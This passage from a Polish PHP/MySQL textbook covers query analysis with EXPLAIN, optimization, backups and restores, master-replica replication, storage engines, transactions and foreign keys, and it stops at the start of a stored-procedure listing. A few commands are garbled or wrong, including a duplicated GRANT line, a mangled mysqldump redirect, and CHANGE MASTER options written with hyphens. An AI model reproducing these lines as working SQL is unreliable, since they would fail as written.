Kolumna key_len wyświetla długości wykorzystanych kluczy. Na podstawie tych wartości można
stwierdzić, czy użyto klucza w całości, czy tylko jego części. Jest to szczególnie przydatne
w sytuacji, gdy klucze podstawowe składają się z więcej niż jednego pola tabeli. W naszym przykła-
dzie zastosowano klucze o pełnej długości.

W kolumnie ref zawarte są nazwy kolumn, których wraz z kluczem użyto do wyszukania wierszy
w tabeli.

Ostatnia kolumna, Extra, może zawierać szereg innych informacji dotyczących sposobu przeprowa-
dzenia łączenia. Wybrane wartości, które mogą zostać zawarte w tej kolumnie, są przedstawione
w tabeli 12.10. Pełna lista ponad 30 dostępnych wartości znajduje się w podręczniku MySQL
pod adresem http://dev.mysql.com/doc/refman/5.6/en/using-explain.html.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 307

Tabela 12.10. Wybrane możliwe wartości kolumny Extra wyświetlane po wykonaniu polecenia EXPLAIN

Wartość Znaczenie
Distinct Po znalezieniu pierwszego pasującego wiersza MySQL kończy wyszukiwanie pozostałych
wierszy
Not exists Zapytanie zostało zoptymalizowane w celu użycia LEFT JOIN
Range checked for Dla każdego wiersza ze zbioru wierszy, odczytanego z tabel dołączanych, nastąpi próba
each record znalezienia i wykorzystania najlepszego indeksu, jeśli istnieje
Using filesort Sortowanie danych będzie wymagało dwukrotnego przeanalizowania wszystkich wierszy
(co oczywiście zajmie dwukrotnie więcej czasu)
Using index Wszystkie informacje z tabeli zostaną odczytane z indeksu — a więc wiersze nie będą
odczytywane
Using join buffer Tabele są odczytywane w częściach przy użyciu bufora połączenia, następnie w celu zakończenia
wykonywania zapytania z bufora pobierane są odpowiednie wiersze
Using temporary W celu wykonania zapytania konieczne jest utworzenie dodatkowej, tymczasowej tabeli
Using WHERE Wybór wierszy zostanie dokonany z wykorzystaniem klauzuli WHERE

Istnieje kilka sposobów na uniknięcie problemów sygnalizowanych przez polecenie EXPLAIN. Po


pierwsze, należy upewnić się, że typy kolumn są takie same. Odnosi się to przede wszystkim do
szerokości kolumn, w razie różnic nie można wykorzystać indeksów do ich dopasowywania.
Najlepszym rozwiązaniem byłoby więc dokonanie stosownej zmiany typów kolumn lub naniesienie
odpowiednich poprawek do schematu bazy danych jeszcze przed przystąpieniem do jej tworzenia.

Po drugie, można użyć optymalizatora połączeń, by przeprowadzić analizę wykorzystania kluczy


w trakcie łączenia tabel i wprowadzenia odpowiednich zmian zwiększających wydajność tej operacji.
W tym celu należy wykonać w monitorze MySQL następujące polecenie:
ANALYZE TABLE Klienci, Zamowienia, Pozycje_zamowione, Ksiazki

Trzecim sposobem na uniknięcie potencjalnych problemów sygnalizowanych przez EXPLAIN jest


utworzenie nowego indeksu w tabeli. Jest to szczególnie zalecane w przypadku, gdy: a) zapytanie
jest wolne oraz b) jeśli będzie często wykorzystywane przez użytkowników. Jeśli jednak chodzi
o zapytanie jednorazowe, które już nigdy więcej nie zostanie wykonane, na przykład zapytanie
przygotowane z myślą o jakimś unikalnym raporcie, to ta technika może nie być warta zachodu,
gdyż może doprowadzić do spowolnienia działania innych elementów bazy.

Jeżeli dojdzie do sytuacji przedstawionej w poprzednim podrozdziale, w której kolumna


possible_keys tabeli wygenerowanej za pomocą polecenia EXPLAIN zawiera wartości NULL, istnieje
wówczas możliwość zwiększenia szybkości przetwarzania zapytania. Dzieje się tak poprzez utwo-
rzenie nowego indeksu w tabeli, której to zapytanie dotyczy. Jeżeli kolumna wyszczególniona
w klauzuli WHERE spełnia kryteria wymagane do utworzenia indeksu, można go utworzyć, wykorzy-
stując polecenie ALTER TABLE w następujący sposób:
ALTER TABLE nazwa_tabeli ADD INDEX (nazwa_kolumny);

I w końcu warto także zwrócić uwagę na informacje umieszczone w kolumnie Extra. Jeśli pojawi się
w niej tekst: Using temporary, to często będzie to oznaczało, że w klauzulach GROUP BY oraz ORDER BY
są używane inne kolumny. Jeżeli uda się zmienić zapytanie tak, by tego uniknąć, to może ono
zadziałać lepiej. Jeśli w kolumnie Extra pojawi się tekst: Using filesort, będzie to oznaczać,
że baza wykonuje zapytanie w dwóch przebiegach — w pierwszym pobiera dane, a w drugim je
308 Część II  Stosowanie MySQL

porządkuje (zazwyczaj na podstawie klauzuli ORDER BY). W takim przypadku warto przeczytać do-
skonały (choć długi) artykuł poświęcony optymalizacji zapytań z klauzulą ORDER BY, dostępny
w dokumentacji MySQL zamieszczonej na stronie http://dev.mysql.com/doc/refman/5.6/en/
order-by-optimization.html.

Optymalizowanie bazy danych


Oprócz wcześniej przedstawionych sposobów zwiększenia wydajności pracy systemu istnieje jeszcze
szereg możliwości polepszenia ogólnej efektywności pracy serwera MySQL.

Optymalizacja projektu bazy danych


Generalnie wszystkie elementy bazy powinny być jak najmniejsze. Pierwszym krokiem do osiągnię-
cia tego celu jest zaprojektowanie jej w taki sposób, który pozwoli uniknąć nadmiarowości danych.
Oprócz tego kolumnom należy nadawać takie typy danych, które będą zajmować najmniej pamięci
i jednocześnie umożliwią zapisanie w kolumnie wszystkich potrzebnych informacji. Ponadto po-
winno się dążyć do tego, by tabele zawierały jak najmniej wartości NULL, a klucze podstawowe
były jak najkrótsze.

W tabelach typu MyISAM tylko w ostateczności dopuszczalne jest tworzenie kolumn o zmiennej
długości danych (typy VARCHAR, TEXT, BLOB). Tabele zawierające kolumny o z góry określonej długo-
ści danych zwiększą wydajność pracy bazy, choć może to spowodować nieznaczny wzrost używanej
przestrzeni dyskowej.

Przywileje
Kolejnym sposobem na poprawienie wydajności systemu jest uproszczenie przywilejów nadawa-
nych użytkownikom. Sposób, w jaki dokonywane jest sprawdzenie przywilejów przed wykona-
niem zapytania, został omówiony w jednym z poprzednich podrozdziałów. W tym przypadku
obowiązuje zasada, według której im mniej skomplikowany jest proces odczytywania przywile-
jów użytkownika, tym szybciej zapytanie zostanie przetworzone.

Optymalizacja tabel
Długotrwałe korzystanie z tabeli bazy danych prowadzi do coraz większej fragmentacji zawar-
tych w niej danych, spowodowanej wykonywaniem operacji DELETE i UPDATE. Występowanie
fragmentacji zwiększa czas potrzebny do wyszukania odpowiednich wierszy w tabeli. Negatywnym
skutkom fragmentacji danych można zapobiec, wykonując polecenie:
OPTIMIZE TABLE nazwa_tabeli;

Stosowanie indeksów
Tam, gdzie jest to możliwe, należy stosować indeksy usprawniające proces przetwarzania zapytań.
Indeksy te powinny być jak najprostsze; trzeba również pamiętać o tym, by nie tworzyć indeksów,
które nie będą w ogóle wykorzystywane. Aby sprawdzić, które z nich są rzeczywiście przydat-
ne, należy wykonać polecenie EXPLAIN, jak pokazano w jednym z poprzednich podrozdziałów.
Warto także dążyć do minimalizacji długości kluczy głównych.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 309

Używanie wartości domyślnych


Ilekroć istnieje taka możliwość, należy przypisywać kolumnom wartości domyślne, a nowe dane
powinny być zapisywane tylko wówczas, gdy różnią się od tych wartości. Dzięki temu wykonanie
poleceń INSERT zajmuje mniej czasu.

Więcej wskazówek
Istnieje wiele pomniejszych sposobów na usprawnienie pracy serwera MySQL w określonych
sytuacjach. Serwis internetowy poświęcony MySQL zawiera szereg takich wskazówek, dostępnych
pod adresem: http://www.mysql.com.

Tworzenie kopii zapasowej bazy danych MySQL


MySQL pozwala na tworzenie kopii zapasowych na dwa sposoby.

Pierwszy z nich polega na zablokowaniu tabeli podczas kopiowania fizycznych plików. Służy
do tego polecenie LOCK TABLES o następującej składni:
LOCK TABLES tabela typ_blokady [, tabela typ_blokady ...]

Parametr tabela powinien wskazywać nazwę tabeli, a typ_blokady może przyjmować wartości
READ lub WRITE. W przypadku tworzenia kopii zapasowej powinno wystarczyć zastosowanie blokady
READ. Przed rozpoczęciem tworzenia kopii zapasowej należy wykonać polecenie FLUSH TABLES;, aby
zyskać pewność, że wszystkie zmiany dokonane w indeksach zostały zapisane na dysku.

W trakcie tworzenia kopii użytkownicy i skrypty będą wciąż mieć możliwość wykonywania
zapytań tylko do odczytu. Jeżeli jednak istnieje duża liczba zapytań wprowadzających zmiany
w bazie danych, jak na przykład zamówienia od klientów, rozwiązanie takie nie będzie zbyt
praktyczne.

Drugą, nadrzędną metodą jest zastosowanie polecenia mysqldump. Polecenie to wpisuje się w wierszu
poleceń systemu operacyjnego i zazwyczaj wykorzystuje się je mniej więcej w taki sposób:
> mysqldump --all-databases -> wszystkie sql

Polecenie to spowoduje zapisanie w pliku zrzutu wszystkie.sql wszystkich poleceń SQL niezbęd-
nych do zrekonstruowania bazy danych.

W przypadku stosowania mechanizmu składowania InnoDB (domyślnego) można zrobić kopię


zapasową w internecie, a nawet lepiej: przechowywać informacje o wszystkich zmianach w binar-
nym pliku dziennika. Oznacza to, że w razie odtworzenia bazy z kopii zapasowej będzie można
wczytać tę kopię, a następnie odtworzyć wszystkie zmiany, które zostały wprowadzone po jej
wykonaniu:
> mysqldump --all-databases --single-transaction --flush-logs
--master-data=2 > wszystkie_bazy.sql

Opcja --single-transaction powoduje wykonanie kopii bezpieczeństwa podczas działania bazy


(poprzez uzyskanie blokady odczytu). Opcje --flush-logs oraz --master-data opróżniają
dzienniki, a następnie zapamiętują miejsce w pliku dziennika, w którym nastąpiło wykonanie kopii
zapasowej.
310 Część II  Stosowanie MySQL

Trzecia metoda polega na użyciu skryptu mysqlhotcopy. Można go wywołać, wpisując polecenie:
> mysqlhotcopy database /sciezka/do/kopii

Ostatnią metodą tworzenia kopii zapasowej jest utrzymywanie repliki bazy danych. Replikacja
zostanie opisana w dalszej części rozdziału.

Przywracanie bazy danych MySQL


Przywracanie bazy danych MySQL również może być przeprowadzane na kilka różnych sposobów.

Jeżeli wykonano kopię zapasową, wykorzystując pierwszą metodę z poprzedniego punktu, wów-
czas można z powrotem skopiować pliki danych do tej samej lokalizacji w nowej instalacji MySQL.

Jeśli kopia zapasowa została wykonana drugim sposobem, należy wykonać kilka czynności.
Najpierw konieczne jest wykonanie zapytań zapisanych w pliku zrzutu. Spowoduje to rekonstrukcję
bazy danych do postaci, jaką miała ona w chwili tworzenia tego pliku. Następnie należy uaktual-
nić bazę danych do takiej postaci, jaka przechowywana jest w plikach dziennika. Można tego
dokonać, wykonując następujące polecenie:
> mysqlbinlog bin.[0-9]* | mysql

Więcej informacji na temat wykonywania kopii zapasowych MySQL oraz przywracania baz
danych można znaleźć na witrynie MySQL pod adresem http://www.mysql.com.

Implementowanie replikacji
Replikacja jest technologią, dzięki której możliwe jest utrzymywanie większej liczby serwerów
bazodanowych udostępniających takie same dane. W ten sposób można rozkładać obciążenie
i zwiększać niezawodność systemu. Jeśli jeden z serwerów odmówi posłuszeństwa, cały czas
można wykonywać zapytania na pozostałych maszynach. Po uruchomieniu replikacji można
również za jej pomocą tworzyć kopie zapasowe.

Podstawowa koncepcja polega na utworzeniu serwera nadrzędnego i dodaniu do niego odbiorców.


Każdy z odbiorców jest lustrzaną kopią serwera nadrzędnego. W trakcie uruchamiania odbiorcy
po raz pierwszy kopiuje się na niego migawkę wszystkich danych znajdujących się w tym czasie
na serwerze nadrzędnym. Potem odbiorcy pobierają tylko uaktualnienia od serwera nadrzędnego.
Ten ostatni przesyła szczegółowe informacje o wykonanych zapytaniach pochodzące z dziennika
binarnego, po czym odbiorcy wykonują je na własnych danych.

Rozwiązanie takie stosuje się najczęściej w ten sposób, że zapytania zapisujące dane są wykonywane
na serwerze nadrzędnym, natomiast na odbiorcach wykonywane są zapytania odczytujące dane.
Takie rozwiązanie nazywane jest podziałem odczytu-zapisu i można je zaimplementować bądź
to przy użyciu takiego narzędzia jak MySQL Proxy, bądź też bezpośrednio w logice aplikacji.

Możliwe jest także konstruowanie bardziej skomplikowanych architektur, w których może wystąpić
na przykład większa liczba serwerów nadrzędnych, my jednak zajmiemy się tylko przypadkiem
standardowym — serwer nadrzędny – odbiorca.

Należy zdać sobie sprawę, że odbiorcy zwykle nie posiadają danych równie aktualnych jak serwer
nadrzędny. Zjawisko to ma miejsce w każdej rozproszonej bazie danych.
Rozdział 12.  Administrowanie MySQL dla zaawansowanych 311

Aby przystąpić do budowania architektury serwera nadrzędnego i odbiorcy, należy najpierw upewnić
się, że na serwerze nadrzędnym włączone jest zapisywanie do dziennika binarnego. Włączanie tego
mechanizmu zostało opisane w dodatku A.

Na obydwu serwerach (nadrzędnym i odbiorcy) należy wyedytować plik my.ini lub my.cnf. Na
serwerze nadrzędnym musi znaleźć się następujące ustawienie:
[mysqld]
log-bin
server-id=1

Pierwszy wiersz włącza zapisywanie do dziennika binarnego (powinien on już być obecny; jeżeli
tak nie jest, wiersz ten trzeba dopisać). Drugi wiersz natomiast nadaje serwerowi nadrzędnemu
unikatowy identyfikator. Każdy z odbiorców również potrzebuje identyfikatora, dlatego na każ-
dym z nich należy dodać analogiczny wiersz w pliku my.ini/my.cnf. Należy się upewnić, że liczby
te są unikatowe! Na przykład pierwszy odbiorca mógłby mieć server-id=2, drugi server-id=3
i tak dalej.

Konfigurowanie serwera nadrzędnego


Na serwerze nadrzędnym trzeba utworzyć użytkownika, na którym łączyć się będą odbiorcy.
Specjalnie dla serwerów odbiorców utworzono oddzielny poziom przywilejów o nazwie REPLICATION
SLAVE. Zależnie od tego, jak zaplanowano początkowy transfer danych, może zaistnieć potrzeba
tymczasowego przydzielenia dodatkowych uprawnień.

W większości przypadków do przetransferowania danych używa się migawki — w takim przypadku


wymagane jest nadanie tylko specjalnego przywileju dla odbiorców. Jeżeli transfer danych będzie
miał się odbyć przy użyciu instrukcji LOAD DATA FROM MASTER (więcej na jej temat dowiemy się
w następnym punkcie), użytkownik ten będzie wymagał dodatkowych uprawnień RELOAD, SUPER
i SELECT, lecz tylko w trakcie początkowego konfigurowania replikacji. Zgodnie z regułą najmniej-
szego przywileju, przedstawioną w rozdziale 9., tego typu dodatkowe przywileje powinno się ode-
brać zaraz po skonfigurowaniu i uruchomieniu systemu.

Najpierw należy utworzyć użytkownika na serwerze nadrzędnym. Można mu nadać dowolną


nazwę i przypisać dowolne hasło, trzeba jednak obydwie te wartości zapamiętać. W naszym przy-
kładzie będziemy posługiwać się użytkownikiem o nazwie rep_odbiorca:
GRANT REPLICATION SLAVEgrant replication slave
ON *.*
TO 'rep_odbiorca'@'%' IDENTIFIED BY 'haslo';

Oczywiście, zamiast hasla należy wpisać coś innego.

Transfer danych początkowych


Dane z serwera nadrzędnego do odbiorcy można transferować poprzez sporządzenie migawki bazy
danych w określonym momencie. W tym celu można wykorzystać procedury tworzenia kopii zapa-
sowych opisane wcześniej w tym rozdziale. Najpierw należy opróżnić tabele, wywołując następującą
instrukcję:
mysql> FLUSH TABLES WITH READ LOCK;

Nałożenie blokady READ jest konieczne ze względu na to, że należy zapamiętać pozycję serwera
w dzienniku binarnym w momencie tworzenia migawki. Można tego dokonać wykonując instrukcję:
mysql> SHOW MASTER STATUS;
312 Część II  Stosowanie MySQL

Wynik wykonania tej instrukcji powinien być podobny do przedstawionego poniżej:


+------------------+----------+--------------+------------------+
| File | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000001 | 107 | | |
+------------------+----------+--------------+------------------+

Wartości z kolumn File i Position należy zapamiętać, ponieważ będą one potrzebne w trakcie
konfigurowania serwerów odbiorców.

Teraz należy sporządzić migawkę i odblokować tabele następującą instrukcją:


mysql> UNLOCK TABLES;

Konfigurowanie odbiorcy lub odbiorców


Operację tę należy zacząć od zainstalowania migawki bazy danych na serwerze odbiorcy.

W kolejnym kroku na odbiorcy trzeba wykonać poniższe zapytanie:


change master to
master-host='serwer',
master-user='uzytkownik',
master-password='haslo',
master-log-file='plik_dziennika',
master-log-pos=pozycja_w_dzienniku;
start slave;

Zamiast parametrów zapisanych kursywą należy podać rzeczywiste dane. Parametr serwer oznacza
nazwę serwera nadrzędnego. Parametry uzytkownik i haslo pochodzą z instrukcji GRANT, którą
wykonano wcześniej na serwerze nadrzędnym. Wartości plik_dziennika i pozycja_w_dzienniku
pochodzą natomiast z instrukcji SHOW MASTER STATUS wykonanej na serwerze nadrzędnym.

Po wykonaniu tych czynności cały system powinien już działać prawidłowo.

Propozycje dalszych lektur


W tej części książki zostały przedstawione zagadnienia dotyczące MySQL związane z tworzeniem
aplikacji internetowych oraz łączeniem serwera baz danych ze skryptami PHP. Więcej informacji
na ten temat, a także kwestie dotyczące tworzenia samodzielnych aplikacji niepracujących w inter-
necie oraz poświęcone administrowaniu MySQL można znaleźć pod internetowym adresem
http://www.mysql.com.

Wiele cennych informacji znajduje się w książce Paula DuBois pt. MySQL (Fifth Edition), wydanej
przez Addison-Wesley.

W następnym rozdziale
W następnym rozdziale przedstawione zostaną niektóre zaawansowane możliwości serwera MySQL
przydatne w trakcie tworzenia aplikacji internetowych. Powiemy m.in. o różnych rodzajach mecha-
nizmów składowania danych, o transakcjach oraz procedurach składowanych.
Rozdział 13.
Zaawansowane
programowanie w MySQL
W tym rozdziale poznamy bardziej zaawansowane zagadnienia dotyczące programowania w MySQL,
w tym typy tabel, transakcje i procedury składowane.

Zostaną tu poruszone następujące zagadnienia:


 instrukcja LOAD DATA INFILE,
 mechanizmy składowania,
 transakcje,
 klucze obce,
 procedury składowane.

Instrukcja LOAD DATA INFILE


Jedną z najbardziej przydatnych instrukcji MySQL, która nie została jeszcze omówiona, jest LOAD
DATA INFILE. Można skorzystać z niej do załadowania danych z pliku tekstowego do tabeli. Działa
ona bardzo szybko. Polecenie to posiada wiele opcji, ale zazwyczaj jest wywoływane w następu-
jący sposób:
LOAD DATA INFILE "noweksiazki.txt" INTO TABLE ksiazki;

Wiersz ten pozwala na odczytanie danych z pliku noweksiazki.txt i zapisanie ich w tabeli ksiazki.
(Polecenie to zakłada, że obecnie stosowana jest baza danych ksiazki. Tabelę docelową można
także określić przy użyciu zapisu bazadanych.tabela). Domyślnie pola danych w pliku muszą
być rozdzielane znakiem tabulacji, dane umieszczane w apostrofach, a każdy wiersz powinien
być zakończony znakiem nowego wiersza (\n). Znaki specjalne muszą być poprzedzone lewym
ukośnikiem (\). Parametry te mogą być modyfikowane za pomocą różnych opcji polecenia LOAD;
dodatkowe informacje można znaleźć w podręczniku MySQL.

Aby skorzystać z polecenia LOAD DATA INFILE, użytkownik musi posiadać prawo FILE, omówione
w rozdziale 9., „Tworzenie internetowej bazy danych”.
314 Część II  Stosowanie MySQL

Mechanizmy składowania danych


MySQL obsługuje kilka różnych mechanizmów składowania danych (ang. storage engine), nazy-
wanych czasem typami tabel. Dzięki temu można wybrać metodę implementacji tabel, w których są
zapisywane dane użytkownika. Każda tabela w bazie danych może korzystać z innego mechanizmu
składowania, a w razie potrzeby można łatwo zmienić jeden z nich na inny.

W czasie tworzenia tabeli wybór mechanizmu składowania jest realizowany w następujący sposób:
CREATE TABLE tabela TYPE = typ ....

Dostępne są następujące typy tabel:


InnoDB: Jest to typ domyślny i to właśnie jego należy używać w przeważającej większości
przypadków. Te tabele pozwalają korzystać z transakcji, to znaczy obsługują funkcje
COMMIT i ROLLBACK. Tabele InnoDB obsługują także klucze obsce. Cechują się one
najlepszą wydajnością odczytu-zapisu, co przynajmniej częściowo wynika z tego,
że używają one blokowania wierszy.
 MyISAM: Jest to typ, który w starszych wersjach MySQL był stosowany domyślnie.
Bazuje on na tradycyjnym typie ISAM (ang. Indexed Sequential Access Method
— indeksowo-sekwencyjna metoda dostępu), który jest standardową metodą zapisu
rekordów i plików. MyISAM ma dużą przewagę w stosunku do typu ISAM. Tabele
MyISAM mogą być kompresowane i pozwalają na pełną obsługę wyszukiwań
pełnotekstowych. Nie obsługują one transakcji ani kluczy obcych. W porównaniu
z tabelami InnoDB tabele MyISAM działają szybciej w niskopoziomowych operacjach
odczytu oraz w przypadku samych odczytów, gdyż używają one blokowania całej tabeli.
Jednak w przypadku zastosowań wymagających zarówno odczytów, jak i zapisów tabele
MyISAM nie będą spisywać się lepiej od tabel InnoDB.
 MEMORY (wcześniej nazywany HEAP): Tabele tego typu są zapisywane w pamięci,
a ich indeksy są tworzone z wykorzystaniem funkcji mieszającej. Powoduje to, że tabele
MEMORY działają niezmiernie szybko, ale w przypadku wystąpienia awarii wszystkie
dane w nich zapisane są tracone. Cechy te sprawiają, że tabele MEMORY są idealne
do zapisu danych tymczasowych lub pobieranych z innego źródła oraz w zastosowaniach
opierających się głównie na odczycie danych. Korzystają one z blokowania całej tabeli,
dlatego też niezbyt dobrze nadają się do zastosowań wymagających dużej liczby operacji
zapisu lub zarówno operacji zapisywania, jak i odczytu danych. Tabele te nie mogą zawierać
ani kolumn BLOB, ani TEXT.
 MERGE: Ten typ tabel pozwala na traktowanie zbioru tabel MyISAM jako jednej tabeli
w czasie wykonywania zapytania. Dzięki temu można ominąć występujące w niektórych
systemach operacyjnych ograniczenie maksymalnej wielkości pliku.
 ARCHIVE: Te tabele przechowują znaczne ilości danych, które jednak zajmują mało miejsca.
W tabelach tego typu można wykonywać jedynie zapytania INSERT i SELECT, natomiast
zapytania DELETE, UPDATE i REPLACE nie są obsługiwane. Nie są również używane indeksy.
 CSV: Tabele te funkcjonują na serwerze w postaci pojedynczego pliku zawierającego wartości
oddzielone od siebie znakiem przecinka. Korzyści z używania tabel tego typu pojawiają
się jedynie wówczas, gdy zachodzi koniczność przeglądania lub przetwarzania w inny sposób
danych w zewnętrznej aplikacji arkusza kalkulacyjnego, na przykład Microsoft Excel.

W większości aplikacji internetowych niemal zawsze stosowane będą tabele InnoDB.


Rozdział 13.  Zaawansowane programowanie w MySQL 315

Tabel InnodDB należy zawsze używać w aplikacjach, w których duże znaczenie mają transakcje,
na przykład podczas gromadzenia danych finansowych, czy też w aplikacjach, w których operacje
INSERT i SELECT często przeplatają się ze sobą, takich jak internetowe tablice ogłoszeniowe bądź
fora dyskusyjne. Poza tym tabele te należy stosować wszędzie tam, gdzie ważne jest zachowanie
integralności odwołań (poprzez używanie kluczy obcych), czyli w większości aplikacji korzystają-
cych z danych relacyjnych.

W niektórych przypadkach można także wykorzystywać tabele typu MyISAM. Typowym rozwią-
zaniem jest stosowanie tych tabel w aplikacjach magazynów danych. Co więcej, w czasie gdy pisana
była niniejsza książka, tabele MyISAM posiadały bardziej zaawansowane możliwości korzystania
z indeksów pełnotekstowych niż tabele InnoDB, choć można się spodziewać, że w najbliższej
przyszłości sytuacja ta ulegnie zmianie.

Tabele typu MEMORY najlepiej nadają się na tabele tymczasowe lub do implementacji perspektyw,
natomiast tabele MERGE można stosować, jeżeli wykorzystywane są bardzo duże tabele MyISAM.

Po utworzeniu tabeli jej typ można zmienić za pomocą polecenia ALTER TABLE, tak jak na poniższym
przykładzie:
ALTER TABLE Zamowienia ENGINE=innodb;
ALTER TABLE Pozycje_zamowione ENGINE=innodb;

W większości przykładów w tej książce będziemy korzystać z tabel MyISAM. W kolejnym punkcie
omówimy wykorzystanie transakcji i sposób, w jaki są one implementowane w tabelach InnoDB.

Transakcje
Transakcje to mechanizm pomagający w utrzymaniu spójności bazy danych, szczególnie w przy-
padku wystąpienia błędu bądź załamania serwera. W poniższym podpunkcie zdefiniujemy, czym
są transakcje, i w jaki sposób można je zaimplementować za pomocą InnoDB.

Definicje dotyczące transakcji


Na początek zdefiniujmy termin transakcja. Transakcją jest zapytanie lub seria zapytań, dla których
zagwarantowane jest, że zostaną wykonane w całości lub w całości niewykonane. Niezależnie od
tego, czy transakcja została wykonana, czy nie, baza danych jest spójna.

Aby pokazać, dlaczego taka własność może być ważna, przeanalizujmy przykład aplikacji banko-
wej. Wyobraźmy sobie sytuację, gdy chcemy przesłać pieniądze z jednego konta bankowego na
drugie. Wymaga to zmniejszenia stanu jednego konta i zwiększenia o taką samą kwotę stanu drugie-
go, co można zrealizować co najmniej dwoma zapytaniami. Niezwykle ważne jest, aby oba te
zapytania były wykonane w całości lub nie było wykonane żadne z nich. Jeżeli po zmniejszeniu
stanu pierwszego konta, a przed zwiększeniem stanu drugiego, zostanie wyłączone zasilanie, to jaki
otrzymamy wynik? Czy pieniądze po prostu znikną?

Być może spotkałeś się z określeniem zgodność z ACID. ACID odnosi się do czterech wymagań,
które powinny być spełniane przez transakcje:
 Atomowość (ang. Atomicity) — transakcja powinna być atomowa, czyli powinna być
wykonywana w całości lub nie wykonywana w ogóle.
 Spójność (ang. Consistency) — transakcja powinna pozostawiać spójną bazę danych.
316 Część II  Stosowanie MySQL

 Izolacja (ang. Isolation) — niedokończone transakcje nie powinny być widoczne dla
pozostałych użytkowników bazy danych, czyli do zakończenia transakcji powinna ona
pozostawać odizolowana (od reszty bazy danych).
 Trwałość (ang. Durability) — po zapisaniu w bazie danych transakcja powinna być trwała.

Transakcja, która została trwale zapisana w bazie danych, jest nazywana transakcją zatwierdzoną.
Transakcja, która nie została zapisana do bazy danych — czyli baza danych została przywrócona
do stanu sprzed rozpoczęcia transakcji — jest nazywana transakcją wycofaną.

Użycie transakcji w InnoDB


Domyślnie MySQL pracuje w trybie automatycznego zatwierdzania. Oznacza to, że każdy wynik
działania każdej instrukcji jest od razu zapisywany do bazy danych (zatwierdzany). Jeżeli korzy-
stamy z tabel o typie obsługującym transakcje, najprawdopodobniej nie jest to oczekiwane działanie.

Aby wyłączyć automatyczne zatwierdzanie dla sesji, należy wpisać:


SET AUTOCOMMIT=0;

Jeżeli automatyczne zatwierdzanie jest włączone, należy rozpoczynać każdą transakcję instrukcją
START TRANSACTION;

Jeżeli automatyczne zatwierdzanie jest wyłączone, instrukcja ta nie jest potrzebna, ponieważ trans-
akcja jest automatycznie uruchamiana przy wykonywaniu instrukcji SQL.

Po zakończeniu wykonywania instrukcji składających się na transakcję można zapisać w bazie danych
wyniki działania, wpisując:
COMMIT;

Jeżeli zmieniłeś zdanie, możesz przywrócić poprzedni stan bazy danych, wpisując:
ROLLBACK;

Do momentu zatwierdzenia transakcji wyniki jej działania nie są widoczne dla innych użytkowników
lub innych sesji.

Rozważmy odpowiedni przykład.

Aby go wykonać, należy otworzyć dwa połączenia do bazy danych ksiazki. W oknie pierwszego
połączenia dodaj nowy rekord zamówienia:
INSERT INTO Zamowienia VALUES(5, 2, 69.98, '2008-06-18');
INSERT INTO Pozycje_zamowione VALUES(5, '0-672-31697-8', 1);

Teraz sprawdź, czy widzisz nowe zamówienie:


SELECT * FROM Zamowienia WHERE ZamowienieID=5;

Powinno to spowodować wyświetlenie poniższych danych zamówienia:


+--------------+----------+---------+------------+
| ZamowienieID | KlientID | Wartosc | Data |
+--------------+----------+---------+------------+
| 5 | 2 | 69.98 | 2008-06-18 |
+--------------+----------+---------+------------+
1 row in set (0.00 sec)
Rozdział 13.  Zaawansowane programowanie w MySQL 317

Pozostawmy to połączenie otwarte i przejdźmy do okna drugiego połączenia, w którym należy wyko-
nać to samo zapytanie SELECT. W efekcie nie powinniśmy zobaczyć wpisanego wcześniej zamówienia:
Empty set (0.00 sec)

(Jeżeli jednak uda nam się je zobaczyć, będzie to oznaczało, że najprawdopodobniej zapomnieliśmy
wyłączyć automatyczne zatwierdzanie transakcji; sprawdźmy to, jak również to, czy tabela
jest typu InnoDB).

Dzieje się tak dlatego, że transakcja nie została jeszcze zatwierdzona (jest to jednocześnie ilustracja
działania mechanizmu izolacji transakcji).

Teraz wróć do okna pierwszego połączenia i zatwierdź transakcję:


COMMIT;

Powinieneś móc już odczytać wiersz zamówienia w oknie drugiego połączenia.

Klucze obce
Mechanizm InnoDB zawiera również obsługę kluczy obcych. Klucze obce zostały opisane w roz-
dziale 8., „Projektowanie internetowej bazy danych”.

Rozważmy przykład wstawiania wiersza do tabeli pozycje_zamowione. W takim przypadku konieczne


jest podanie prawidłowej wartości kolumny ZamowienieID. Jeżeli nie korzystamy z kluczy obcych, to
sprawdzanie poprawności identyfikatora zamówienia — ZamowienieID — trzeba będzie zaimple-
mentować gdzieś w logice aplikacji. Jeżeli jednak korzystamy z kluczy obcych, można pozostawić
to sprawdzenie bazie danych.

W jaki sposób należy to skonfigurować? Aby utworzyć tabelę korzystającą od początku z kluczy
obcych, należy zmienić instrukcję DDL w następujący sposób:
CREATE TABLE Pozycje_zamowione
( ZamowienieID INT UNSIGNED NOT NULL,
ISBN CHAR(13) NOT NULL,
Ilosc TINYINT UNSIGNED,

PRIMARY KEY (ZamowienieID, ISBN),


FOREIGN KEY (ZamowienieID) REFERENCES Zamowienia(ZamowienieID),
FOREIGN KEY (ISBN) REFERENCES Ksiazki(ISBN)
);

Po ZamowienieID dodaliśmy frazę REFERENCES Zamowienia(ZamowienieID). Oznacza to, że kolumna


jest kluczem obcym, który musi zawierać wartości z kolumny ZamowienieID z tabeli Zamowienia.

Aby sprawdzić, czy zmiany te dały efekt, możesz spróbować wstawić wiersz z wartością kolumny
zamowienieid, która nie odpowiada żadnemu wierszowi z tabeli zamowienia.
INSERT INTO Pozycje_zamowione VALUES(77, '0-672-31697-8', 7);

Powinieneś otrzymać następujący komunikat błędu:


ERROR 1452 (23000): Cannot add or update a child row: a foreign key constraint fails
(`ksiazki`.`Pozycje_zamowione`, CONSTRAINT `Pozycje_zamowione_ibfk_1` FOREIGN KEY
(`ZamowienieID`) REFERENCES `Zamowienia` (`ZamowienieID`))
318 Część II  Stosowanie MySQL

Procedury składowane
Procedura składowana jest podprogramem utworzonym i zapisanym w MySQL. Może składać się
z instrukcji SQL oraz struktur sterujących. Procedury składowane są przydatne, jeżeli kilka różnych
aplikacji wykonuje te same operacje na bazie danych lub jeżeli chcemy hermetyzować pewien zakres
funkcji. Procedury składowane w bazie danych mogą być traktowane analogicznie do programo-
wania zorientowanego obiektowo — pozwalają sterować sposobem dostępu do danych.

Rozpocznijmy od prostego przykładu.

Prosty przykład
Na listingu 13.1 pokazana jest deklaracja procedury składowanej.

Listing 13.1. prosta_procedura_skladowana.sql — deklarowanie procedury składowanej


# Przykład prostej procedury składowanej
DELIMITER //

CREATE PROCEDURE Suma_zamowien (OUT Suma FLOAT)


